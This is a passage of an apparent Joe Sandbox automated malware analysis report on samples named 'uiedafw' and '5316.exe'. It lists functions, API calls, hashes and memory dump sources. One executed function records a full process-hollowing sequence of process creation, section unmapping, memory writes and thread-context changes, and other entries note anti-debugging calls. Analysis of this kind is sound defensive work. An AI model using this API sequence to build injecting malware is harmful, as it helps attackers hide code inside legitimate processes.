Instruction ID: 5a2bb716a64f0a1f1a6e426f0b200f3e6862a670896c4db1e76ea4af0659c5ba
Opcode Fuzzy Hash: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction Fuzzy Hash: 3101DFB2308205FADB005AD49C62F7A3219AB85715F30453BB623B80F1C63D8512FB2F

Uniqueness

Uniqueness Score: -1.00%

Function 0256E98E Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0256E9DF

Memory Dump Source

Source File: 00000003.00000002.1950511447.0000000002569000.00000040.00000020.00020000.00000000.sdmp, Offset: 02569000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2569000_uiedafw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ed18672bce6dd031e4f2bab18c456814b5e2efb72d5db05577dec51414d4808f
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: C5112B79A00208EFDB01DF98C989E98BBF5BF08350F058094F948AB361D771EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction ID: 689da8ed0bf63c85a60a16fbbe407e4b0918199af58fa2149c0a58fdfe32668e
Opcode Fuzzy Hash: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction Fuzzy Hash: 0E0181B6308105FADB115AD49D52FBA3719AB45751F30453BB613B80F2C53D8512FB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401992 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction ID: 9477092311c163758adf26378a137d016a4cc75b4861da4fd192d9fcf75081b0
Opcode Fuzzy Hash: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction Fuzzy Hash: 25016D72304105FADB119AD09C52EAA3729AB48355F30457BB613BD0F2C63D8552EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041ED93 Relevance: 54.3, APIs: 36, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 0041EDAE

Part of subcall function 0041BED3: DName::DName.LIBCMT ref: 0041BEE6
Part of subcall function 0041BED3: DName::operator+.LIBCMT ref: 0041BEED

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: d229b3bdfac102d68cce67871f64bcac438936cd2c3b2e27f0790e966cf087b4
Instruction ID: a66003268ed503c7344081d1208cc9e3924ebea3171d3c3d5106927603e66728
Opcode Fuzzy Hash: d229b3bdfac102d68cce67871f64bcac438936cd2c3b2e27f0790e966cf087b4
Instruction Fuzzy Hash: 47D12075D00209AFDB00DFA5D885AEEBBF8EF08314F14406BE905E7291DB789A85CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410A55 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00410AC3
__getptd.LIBCMT ref: 00410AD5
___TypeMatch.LIBCMT ref: 00410B06
__getptd.LIBCMT ref: 00410B1C
___BuildCatchObject.LIBCMT ref: 00410B38
__getptd.LIBCMT ref: 00410B6D
__getptd.LIBCMT ref: 00410B7F

Strings

MOC, xrefs: 00410A6C
csm, xrefs: 00410B42
csm, xrefs: 00410A8B
RCC, xrefs: 00410A77

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: __getptd$BuildCatchMatchObjectType
String ID: MOC$RCC$csm$csm
API String ID: 1559916381-1441736206
Opcode ID: c426630d051a74e9b86efdcf11649eff3dc39c15b6b7d4f31559fcb62a47173f
Instruction ID: 601119a08737cc48dfc8a538db4a544eea03f0aa24b8cc6fc82fc39a7b368a05
Opcode Fuzzy Hash: c426630d051a74e9b86efdcf11649eff3dc39c15b6b7d4f31559fcb62a47173f
Instruction Fuzzy Hash: 5A319D315043048EDB308FA5C484BEB73B8BF20318F58496BD84986652D7BCF9C58B8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041FE9E Relevance: 16.6, APIs: 11, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getBasicDataType.LIBCMT ref: 0041FED9
DName::operator=.LIBCMT ref: 0041FEED
DName::operator+=.LIBCMT ref: 0041FEFB
UnDecorator::getPtrRefType.LIBCMT ref: 0041FF27
UnDecorator::getDataIndirectType.LIBCMT ref: 0041FFA4
UnDecorator::getBasicDataType.LIBCMT ref: 0041FFAD
operator+.LIBCMT ref: 00420040

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: Decorator::getType$Data$Basic$IndirectName::operator+=Name::operator=operator+
String ID:
API String ID: 2203807771-0
Opcode ID: 7ac783c415bd232d78e4ff444c42b15b18390300055d78a668c9806f47dd3295
Instruction ID: 90e55447d13bd5ee4e2b3fe658bfb98f24de9e54c03c7ba76c2e59348a758843
Opcode Fuzzy Hash: 7ac783c415bd232d78e4ff444c42b15b18390300055d78a668c9806f47dd3295
Instruction Fuzzy Hash: 21412331904205AFDB11DF55EC41AEE7BB5FB01300F54407BF405A6292DBB89A8BDB8C

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB18 Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 0041DB22
DName::DName.LIBCMT ref: 0041DB2E

Part of subcall function 0041B83C: DName::doPchar.LIBCMT ref: 0041B86D

UnDecorator::getScopedName.LIBCMT ref: 0041DB6D
DName::operator+=.LIBCMT ref: 0041DB77
DName::operator+=.LIBCMT ref: 0041DB86
DName::operator+=.LIBCMT ref: 0041DB92
DName::operator+=.LIBCMT ref: 0041DB9F

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 2d1d6e218551a168db9aab101b774dad8fd0585666649ea194310b72ca76be93
Instruction ID: 0a19a46c001bcee75266d6f2de88e1f3fc993d4e7cd583993520fe3fff16cb19
Opcode Fuzzy Hash: 2d1d6e218551a168db9aab101b774dad8fd0585666649ea194310b72ca76be93
Instruction Fuzzy Hash: 1D1173B1D04244AFDB09EF65C855BE97FB4EB10305F05409EE4069B2E2DB78EA85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA4C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040FA91

Part of subcall function 00412FCA: __mtinitlocknum.LIBCMT ref: 00412FE0
Part of subcall function 00412FCA: __amsg_exit.LIBCMT ref: 00412FEC

__lock.LIBCMT ref: 0040FAB2
___addlocaleref.LIBCMT ref: 0040FAD0

Strings

gB, xrefs: 0040FAC5
`jB, xrefs: 0040FA88

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: __lock$___addlocaleref__amsg_exit__mtinitlocknum
String ID: `jB$gB
API String ID: 2123130959-613790804
Opcode ID: acec4acc91b1ba1fde7683e465b5e4f5384254467f18a479635c679cd577d5f0
Instruction ID: 6dd35c3d88dc9116dcd3df9f2f741f544a7260a641d459d5c736bbf0e248dfd0
Opcode Fuzzy Hash: acec4acc91b1ba1fde7683e465b5e4f5384254467f18a479635c679cd577d5f0
Instruction Fuzzy Hash: C3016171501701DFD720AF66D945749FBF0AF40314F20892FE49AA76E1CBB8A588DF18

Uniqueness

Uniqueness Score: -1.00%

Function 0041C275 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041C2BE
DName::operator+.LIBCMT ref: 0041C2C5
DName::DName.LIBCMT ref: 0041C2E7
DName::operator+.LIBCMT ref: 0041C2EE
DName::operator+.LIBCMT ref: 0041C2F5

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: ba0d061091b928ab6682b71153b6ede0b60d77b31f380eac653401eae8c47570
Instruction ID: 4803002d57272d44ec51be34f8d02f299f09437345a61c4e13816b78280e6a70
Opcode Fuzzy Hash: ba0d061091b928ab6682b71153b6ede0b60d77b31f380eac653401eae8c47570
Instruction Fuzzy Hash: C5014830A40209ABCF04DBA5DC46DED7BB5EB44708F04405AF501AB391DB78E985CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00412D99 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00412DA5

Part of subcall function 0040FB79: __getptd_noexit.LIBCMT ref: 0040FB7C
Part of subcall function 0040FB79: __amsg_exit.LIBCMT ref: 0040FB89

__getptd.LIBCMT ref: 00412DBC
__amsg_exit.LIBCMT ref: 00412DCA
__lock.LIBCMT ref: 00412DDA
__updatetlocinfoEx_nolock.LIBCMT ref: 00412DEE

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 614a524f8b55ff10aea8c63d933ed89bb2c480f64d1e56f408f2ce486918c13c
Instruction ID: eb892a24aa055f9f3cd84b6e2aeb1f900da4b33c0a1341e23c3fb3374a02d99c
Opcode Fuzzy Hash: 614a524f8b55ff10aea8c63d933ed89bb2c480f64d1e56f408f2ce486918c13c
Instruction Fuzzy Hash: 17F0C232A04B10DAD621BBB6E903B8932A06F00718F11022FE004E62D2CABC18E59A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00413220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041322C

Part of subcall function 0040FB79: __getptd_noexit.LIBCMT ref: 0040FB7C
Part of subcall function 0040FB79: __amsg_exit.LIBCMT ref: 0040FB89

__amsg_exit.LIBCMT ref: 0041324C
__lock.LIBCMT ref: 0041325C

Strings

`jB, xrefs: 00413283

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock
String ID: `jB
API String ID: 3445076945-2958471587
Opcode ID: 293855ae0b14a478132cd6f0a29373b682385a8f6648347a8ce35291d62d7bba
Instruction ID: e30a83c20e996ef0ee1ca28ca9856f4644fdf579ca17e04be13622a9157888ea
Opcode Fuzzy Hash: 293855ae0b14a478132cd6f0a29373b682385a8f6648347a8ce35291d62d7bba
Instruction Fuzzy Hash: 3D01A532A00721D7D721BF66984579A7760BF05715F45806BE81477290C77CAEC2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD3C Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 0040FD50
__init_pointers.LIBCMT ref: 0040FE02
__calloc_crt.LIBCMT ref: 0040FE70

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: __calloc_crt__init_pointers__mtterm
String ID:
API String ID: 2478854527-0
Opcode ID: 178cfd08d11d0b267cdef6fe8ea9cb91b1e43b4e6153ccdad1a0aab605078ee7
Instruction ID: cf0301984c0b585f8c454c9df20467ff12327c7d66cbc2f8b8a38eb298795822
Opcode Fuzzy Hash: 178cfd08d11d0b267cdef6fe8ea9cb91b1e43b4e6153ccdad1a0aab605078ee7
Instruction Fuzzy Hash: C7313631D003559ADB31AF75BE09A163BA5EB44360B14193BE804A3AF0EB789845CE5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041004D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00410077
__CallSettingFrame@12.LIBCMT ref: 004100C3

Strings

j, xrefs: 0041004D

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 413639d1ff9fda6bf228b5d49c3d52d79956837759db93ef21bcbc677b73b2ed
Instruction ID: 76cccad1c356a16f04bba588cb3c8216c13eaea92d396885a355895ee692e6cb
Opcode Fuzzy Hash: 413639d1ff9fda6bf228b5d49c3d52d79956837759db93ef21bcbc677b73b2ed
Instruction Fuzzy Hash: CC11A131801654DBCB10DF19D4443EDFB70FB08328F15828BD4693B692C3B969D2CB85

Uniqueness

Uniqueness Score: -1.00%

Function 004107BD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004107CC

Part of subcall function 0040FB79: __getptd_noexit.LIBCMT ref: 0040FB7C
Part of subcall function 0040FB79: __amsg_exit.LIBCMT ref: 0040FB89

__getptd.LIBCMT ref: 004107DA

Strings

csm, xrefs: 004107E8

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 1cb07e08cd657cab27dd70cdf1fce07c784722d96fef412eeef88cfb7174b14f
Instruction ID: a4f3652173448119b84ad88aa336d4b3115c13e53a330a2f90f82eb9c9c34e11
Opcode Fuzzy Hash: 1cb07e08cd657cab27dd70cdf1fce07c784722d96fef412eeef88cfb7174b14f
Instruction Fuzzy Hash: 3E014B348052048ACF34AF66D550AEEB3B5AF50311F58543FE4816A6A2CBB8D9C5CF99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 5316.exePID: 5756, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	42.6%
Dynamic/Decrypted Code Coverage:	86.4%
Signature Coverage:	34.1%
Total number of Nodes:	44
Total number of Limit Nodes:	8

Executed Functions

Function 029C0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 029C0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 029C016C
CreateProcessA.KERNELBASE(?,00000000), ref: 029C0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 029C0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 029C0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 029C029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 029C02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 029C02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 029C0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 029C032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 029C0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 029C03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 029C03E1
ResumeThread.KERNELBASE(00000000), ref: 029C03ED
ExitProcess.KERNEL32(00000000), ref: 029C0412

Memory Dump Source

Source File: 00000006.00000002.1992108606.00000000029C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_29c0000_5316.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: d51f606b55d90d2e29567ec12f3b0c84cddbc7a304f0cc50181192abe06b98f6
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 11B1B574A00208EFDB44CF98C895F9EBBB5BF88314F248158E909AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 029C0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 029C0533

Strings

0, xrefs: 029C0492
saodkfnosa9uin, xrefs: 029C04DA
mfoaskdfnoa, xrefs: 029C0520, 029C0523
d, xrefs: 029C0584

Memory Dump Source

Source File: 00000006.00000002.1992108606.00000000029C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_29c0000_5316.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 057d1a1620f6ff1ea02ed4c6aafc5c17668cf44cc2d5eca4fce5689723262dab
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 64510870D083C8DBEB11CB98C849BEDBFB66F11708F24405CD5446F286C3BA5659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 029C05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 029C05EC

Strings

o, xrefs: 029C0600
apfHQ, xrefs: 029C05E2, 029C05E5

Memory Dump Source

Source File: 00000006.00000002.1992108606.00000000029C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_29c0000_5316.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 7fb213ab28899381f7e5842e35bf662ee8ae43d1254ee235f1bb00ed6bd7dc61
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: A4011E70C0425CEADB10DF98C5183AEBFB5AF41308F14819DC4092B242D7769B58CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 028047C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 028047EE
Module32First.KERNEL32(00000000,00000224), ref: 0280480E

Memory Dump Source

Source File: 00000006.00000002.1991930562.0000000002804000.00000040.00000020.00020000.00000000.sdmp, Offset: 02804000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2804000_5316.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: aeef706c76aa11fc1c64b721969cb3375919d768760f1e4342ece83d2efbb28b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 3EF0623D2407146FD7603BF9ACCDB6E76ECEF49625F100629E746D14C0DB70E8454A65

Uniqueness

Uniqueness Score: -1.00%

Function 02804485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 028044D6

Memory Dump Source

Source File: 00000006.00000002.1991930562.0000000002804000.00000040.00000020.00020000.00000000.sdmp, Offset: 02804000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2804000_5316.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ad592456b2def694af92d92c5f332dd01a9853f1d1202679e5da02067267e628
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 50113C79A40208EFDB01DF98C985E99BBF5AF08350F058094FA489B361D371EA90DF81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 5316.exePID: 5840, Parent PID: 5756COMMON

Execution Graph

Execution Coverage:	15.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.2%
Total number of Nodes:	27
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00694A87 Relevance: 6.0, APIs: 4, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___sbh_find_block.LIBCMT ref: 00694AB0
___sbh_free_block.LIBCMT ref: 00694ABF
RtlFreeHeap.NTDLL(00000000,?,0081B8C0,0000000C,00695999,00000000,?,?,006959B0,?,006C5FF8,0081C690,0000000C,006C60AA,?,00000000), ref: 00694AEF
GetLastError.KERNEL32(?,?,006959B0,?,006C5FF8,0081C690,0000000C,006C60AA,?,00000000), ref: 00694B00

Memory Dump Source

Source File: 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2873592935.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2873592935.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_5316.jbxd

Similarity

API ID: ErrorFreeHeapLast___sbh_find_block___sbh_free_block
String ID:
API String ID: 2661975262-0
Opcode ID: 78909d6c4936e91804b8b1daa8b3149c3f077c8927f69aac5a87e0b9846f729e
Instruction ID: d2f168f1c234fbc1eb0db84b56c896eb6ac808ee96d716f7e41c0537d1ba3495
Opcode Fuzzy Hash: 78909d6c4936e91804b8b1daa8b3149c3f077c8927f69aac5a87e0b9846f729e
Instruction Fuzzy Hash: E501A271945301AADF60BF74AC06F9F3B6EAF00765F10000DF510A6A99CE788A42DA68

Uniqueness

Uniqueness Score: -1.00%

Function 006C5FE7 Relevance: 4.5, APIs: 3, Instructions: 19
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 006C5FF3

Part of subcall function 006959A8: __getptd_noexit.LIBCMT ref: 006959AB
Part of subcall function 006959A8: __amsg_exit.LIBCMT ref: 006959B8

__endthreadex.LIBCMT ref: 006C6003

Part of subcall function 006C5FAA: __IsNonwritableInCurrentImage.LIBCMT ref: 006C5FBD
Part of subcall function 006C5FAA: __getptd_noexit.LIBCMT ref: 006C5FCD
Part of subcall function 006C5FAA: __freeptd.LIBCMT ref: 006C5FD7
Part of subcall function 006C5FAA: RtlExitUserThread.NTDLL(?,?,006C6008,00000000), ref: 006C5FE0
Part of subcall function 006C5FAA: __XcptFilter.LIBCMT ref: 006C6014

Memory Dump Source

Source File: 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2873592935.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2873592935.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_5316.jbxd

Similarity

API ID: __getptd_noexit$CurrentExitFilterImageNonwritableThreadUserXcpt__amsg_exit__endthreadex__freeptd__getptd
String ID:
API String ID: 1003287236-0
Opcode ID: a89283c4aba3c99d0b47ffbdad6a7f8d104b49c00d8e382c7f34c9978f4e5ab4
Instruction ID: d5ace2e70bc2d3c52d8088d9385be9d0b72b17dae02ad738aec28fd26f28fbfb
Opcode Fuzzy Hash: a89283c4aba3c99d0b47ffbdad6a7f8d104b49c00d8e382c7f34c9978f4e5ab4
Instruction Fuzzy Hash: 65E0ECB5954605DFEB58ABA0C806E7E776AEF48311F20404CF1029B6A2CA75A984DF25

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00694A78 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 006999D2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006999E7
UnhandledExceptionFilter.KERNEL32(006D9C6C), ref: 006999F2
GetCurrentProcess.KERNEL32(C0000409), ref: 00699A0E
TerminateProcess.KERNEL32(00000000), ref: 00699A15

Memory Dump Source

Source File: 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2873592935.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2873592935.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_5316.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 5e4f057abdc76eb51c15de7ff52c5ade2ab544b117bf26ad20e1fd5a877e97fd
Instruction ID: dcde4617195335d5d3c577808627ec0208f30a12f7e2c262b8b14ad4a69ab474
